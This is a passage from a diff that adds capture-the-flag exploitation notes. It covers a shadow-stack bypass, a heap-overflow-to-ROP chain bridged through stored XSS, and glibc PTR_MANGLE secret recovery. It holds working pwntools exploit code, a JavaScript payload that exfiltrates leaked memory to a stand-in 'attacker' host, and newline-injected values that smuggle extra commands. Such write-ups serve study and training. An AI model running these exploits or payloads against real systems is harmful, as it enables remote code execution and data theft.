+ io.sendlineafter(b"(0-255):\n", payload)
386
+
387
+ io.interactive()
388
+ ```
389
+
390
+ **Key insight:** Userland shadow stack implementations that lack bounds checking on the stack pointer are vulnerable to pointer overflow. By recursing enough times, the validation pointer advances past the shadow stack array into adjacent user-controlled memory (e.g., a username buffer). Writing the desired return address there makes the shadow stack check pass, defeating the protection entirely. The required iteration count is `(target_addr - shadow_stack_base) / pointer_size`.
391
+
392
+ **Detection pattern:** Look for:
393
+ - `.bss` arrays used as shadow stacks (paired push/pop with function calls)
394
+ - Missing bounds check on the index variable
395
+ - User-writable `.bss` variables adjacent to (above) the shadow stack array
396
+ - Recursive function calls controllable from user input
397
+
398
+ ---
399
+
400
+ ## Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)
401
+
402
+ **Pattern (Canvas of Fear):** Web application wraps a native binary (`canvas_manager`) behind a Flask API, with admin endpoints restricted to `127.0.0.1`. The binary manages "canvases" (heap-allocated pixel arrays) with a pixel SET command that computes a 2D index as `y * width + x` using a **signed 32-bit int**. Supplying large `y` values overflows the multiplication to a negative result, passing the bounds check (`index < width * height`) while accessing memory **before** the data buffer — a negative OOB heap write primitive.
403
+
404
+ **Three-layer exploit chain:**
405
+ 1. **Stored XSS** (Flask `|safe` Jinja filter) → admin bot executes JS at `127.0.0.1`
406
+ 2. **XSS payloads call admin API** (Fetch API) → triggers binary commands
407
+ 3. **Integer overflow → heap corruption → libc/stack leak → ROP chain**
408
+
409
+ ### Heap Primitive: Signed Int Overflow in Index Calculation
410
+
411
+ The pixel index formula `y * width + x` wraps in 32-bit signed arithmetic:
412
+ ```python
413
+ # For a 50x50 canvas: (8589934591 * 50 + 42) as int32 = -8
414
+ # After ×3 for RGB byte offset: -24 bytes before the data buffer
415
+ # This overwrites the canvas struct's height field (preceding the data on heap)
416
+ cmd(b'SET 1 42 8589934591 0x340000') # overwrite height: 0x32 → 0x34
417
+ ```
418
+
419
+ **Key insight:** The bounds check `index < width * height` uses signed comparison, so a negative overflow result always passes. This turns a single pixel SET into a backward OOB write into heap metadata or adjacent chunk headers.
420
+
421
+ ### Full Exploitation Chain
422
+
423
+ ```python
424
+ from pwn import *
425
+
426
+ # Step 1: Create canvases — canvas 3 acts as consolidation blocker
427
+ cmd(b'CREATE 1 50 50') # large canvas (target for OOB write)
428
+ cmd(b'CREATE 2 20 20') # victim (will be freed for unsorted bin leak)
429
+ cmd(b'CREATE 3 20 20') # pivot (data pointer will be overwritten)
430
+
431
+ # Step 2: Free canvas 2 → unsorted bin puts libc pointers on heap
432
+ cmd(b'DELETE 2')
433
+
434
+ # Step 3: Overflow canvas 1's height field (0x32 → 0x34)
435
+ cmd(b'SET 1 42 8589934591 0x340000')
436
+
437
+ # Step 4: Read canvas 1 (now oversized) to leak heap + libc from freed chunk
438
+ cmd(b'GET 1')
439
+ # Parse RGB output: skip to offset 2507, extract fd/bk pointers
440
+ # heap_base = unpack(data[2:10]) << 12
441
+ # libc.address = unpack(data[34:42]) - 0x1edcc0
442
+
443
+ # Step 5: Remove size limit for full OOB write
444
+ cmd(b'SET 1 42 8589934591 0xffffff')
445
+
446
+ # Step 6: Overwrite canvas 3's data pointer → libc.sym['environ']
447
+ # Offset 0x2250 bytes from canvas 1's data to canvas 3's pointer field
448
+ target = unpack(pack(libc.sym["environ"]), endianness='big')
449
+ cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
450
+ cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
451
+
452
+ # Step 7: Read canvas 3 → reads *environ → stack leak
453
+ cmd(b'GET 3')
454
+ # main_ret = stack_leak - 0x140
455
+
456
+ # Step 8: Redirect canvas 3 pointer → main's return address on stack
457
+ target = unpack(pack(main_ret), endianness='big')
458
+ cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
459
+ cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
460
+
461
+ # Step 9: Write ROP chain via canvas 3 (3 bytes per pixel = per SET)
462
+ pop_rdi = libc.address + 0x2d7a2
463
+ ret = libc.address + 0x2c495
464
+ binsh = next(libc.search(b'/bin/sh\x00'))
465
+ payload = flat({0: [pop_rdi, binsh, ret, libc.sym["system"]]})
466
+ for i in range(0, len(payload), 3):
467
+ block = unpack(payload[i:i+3][::-1].ljust(8, b'\x00')) & 0xffffff
468
+ cmd(f'SET 3 {i//3} 0 0x{block:06x}'.encode())
469
+
470
+ # Step 10: EXIT triggers main() return → ROP chain executes
471
+ cmd(b'EXIT')
472
+ ```
473
+
474
+ ### XSS-to-Binary Pwn Bridge
475
+
476
+ When the binary is behind a web API with admin-only endpoints:
477
+
478
+ 1. **Stored XSS via Flask `|safe`:** User messages rendered with `{{ msg.content | safe }}` bypass Jinja autoescaping. Submit `<script type="module">...</script>` via the public message endpoint
479
+ 2. **Admin bot visits `/admin/messages`** from `127.0.0.1` → XSS executes
480
+ 3. **Multi-stage payloads:** Each XSS stage calls admin API endpoints via `fetch()`, exfiltrates leaks to attacker VPS, then the next stage uses computed addresses:
481
+ ```javascript
482
+ // Stage 1: trigger heap commands, exfiltrate leak
483
+ var res = await fetch("/api/canvas/get/1");
484
+ var data = await res.json();
485
+ await fetch('http://attacker:5000/', {
486
+ method: 'POST', mode: 'no-cors',
487
+ body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))})
488
+ });
489
+ ```
490
+ 4. **Newline injection for command stacking:** The API uses `pwntools.sendline()` to forward user input to the binary. Injecting `\n` in a parameter (e.g., `"color": "#000000\nEXIT\n"`) executes multiple binary commands in one request, bypassing the API's EXIT-then-restart logic:
491
+ ```javascript
492
+ // Inject EXIT without triggering restart, then run shell commands
493
+ body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\nEXIT"})
494
+ // Subsequent requests inject shell commands:
495
+ body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\n./read_flag"})
496
+ ```
497
+
498
+ **Key insight:** The 3-byte RGB pixel value maps naturally to a 24-bit arbitrary write primitive — each SET writes 3 bytes at a controlled offset. Overwriting a canvas's data pointer (via OOB from another canvas) transforms pixel read/write into full arbitrary read/write. The `environ` → stack leak → ROP chain pipeline converts this into RCE. When the binary sits behind a web API, XSS bridges the network boundary and newline injection through `sendline()` enables command stacking.
499
+
500
+ **Detection pattern:**
501
+ - Index computation using signed int multiplication on user-controlled values
502
+ - Bounds check using signed comparison (negative values always pass)
503
+ - Adjacent heap allocations where metadata/pointers follow data buffers
504
+ - Web API that passes user input directly to `process.sendline()` without newline sanitization
505
+ - Flask templates with `|safe` filter on user-controlled content
506
+
507
+ ---
508
+
509
+ ## atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)
510
+
511
+ **Pattern:** glibc's `atexit` handlers are protected by PTR_MANGLE, which applies `XOR secret + ROT17` to function pointers. With an arbitrary read primitive, recover the mangling secret from a known mangled pointer, then forge arbitrary atexit entries for code execution.
512
+
513
+ **PTR_MANGLE internals:**
514
+ ```c
515
+ // glibc pointer mangling:
516
+ // mangled = ROL17(ptr ^ secret)
517
+ // original = ROR17(mangled) ^ secret
518
+ // The secret is stored in TLS at a fixed offset from the thread control block
519
+ // (fs:[0x30] on x86-64)
520
+ ```
521
+
522
+ **Recovering the secret:**
523
+ ```python
524
+ from pwn import *
525
+
526
+ def ror17(val, bits=64):
527
+ """Rotate right by 17"""
528
+ return ((val >> 17) | (val << (bits - 17))) & ((1 << bits) - 1)
529
+
530
+ def rol17(val, bits=64):
531
+ """Rotate left by 17"""
532
+ return ((val << 17) | (val >> (bits - 17))) & ((1 << bits) - 1)
533
+
534
+ # Step 1: Read a mangled pointer from the initial atexit list
535
+ # The first entry is typically _dl_fini, registered by the dynamic linker
536
+ mangled_ptr = arb_read(atexit_list_addr + FUNC_PTR_OFFSET)
537
+
538
+ # Step 2: If you know the original function address (e.g., _dl_fini):
539
+ secret = ror17(mangled_ptr) ^ known_dl_fini_addr
540
+
541
+ # Step 3: Forge your own mangled pointer to target function
542
+ forged = rol17(target_addr ^ secret)
543
+
544
+ # Step 4: Overwrite atexit entry with forged pointer
545
+ arb_write(atexit_list_addr + FUNC_PTR_OFFSET, forged)
546
+ # Normal program exit calls the forged handler → code execution
547
+ ```
548
+
549
+ **Finding `_dl_fini` remotely (without server's ld.so):**
550
+ ```python
551
+ # ld.so is loaded immediately after libc in the address space
552
+ # Scan forward from end of libc for the ELF header (4KB-aligned)
553
+ ld_base = None
554
+ scan_addr = libc_end
555
+ while True:
556
+ page = arb_read(scan_addr, 4)
557
+ if page == b'\x7fELF':
558
+ ld_base = scan_addr
559
+ break
560
+ scan_addr += 0x1000 # 4KB page alignment
561
+
562
+ # Read ld.so's ELF header to find entry point
563
+ ehdr = arb_read(ld_base, 0x40)
564
+ e_entry = u64(ehdr[0x18:0x20]) # ELF entry point (offset in file)
565
+
566
+ # _dl_fini is referenced from ld.so's _start via: lea rdx, [rip+X]
567
+ # Read the instruction bytes at the entry point to decode the offset
568
+ entry_code = arb_read(ld_base + e_entry, 0x20)
569
+ # Parse lea rdx, [rip+X] (opcode: 48 8d 15 XX XX XX XX)
570
+ lea_offset = entry_code.index(b'\x48\x8d\x15')
571
+ rip_offset = u32(entry_code[lea_offset+3:lea_offset+7])
572
+ dl_fini = ld_base + e_entry + lea_offset + 7 + rip_offset
573
+ ```
574
+
575
+ **Key insight:** glibc's PTR_MANGLE uses `XOR secret + ROT17`. The secret is stored in TLS at a fixed offset from the thread control block. If you can read ANY mangled pointer whose original value is known (like `_dl_fini` in the initial atexit list), you can recover the secret and forge arbitrary mangled pointers. The initial atexit list always contains `_dl_fini` as the first registered handler, making it the ideal known-plaintext target.
576
+
577
+ **When to recognize:** Challenge provides an arbitrary read primitive and you need code execution via exit handlers. Also applies to any glibc structure using PTR_MANGLE (TLS destructors, `__exit_funcs`, `longjmp` buffers). The same XOR+ROT17 scheme protects all of them with the same per-thread secret.
578
+
579
+ **References:** 0x00CTF 2017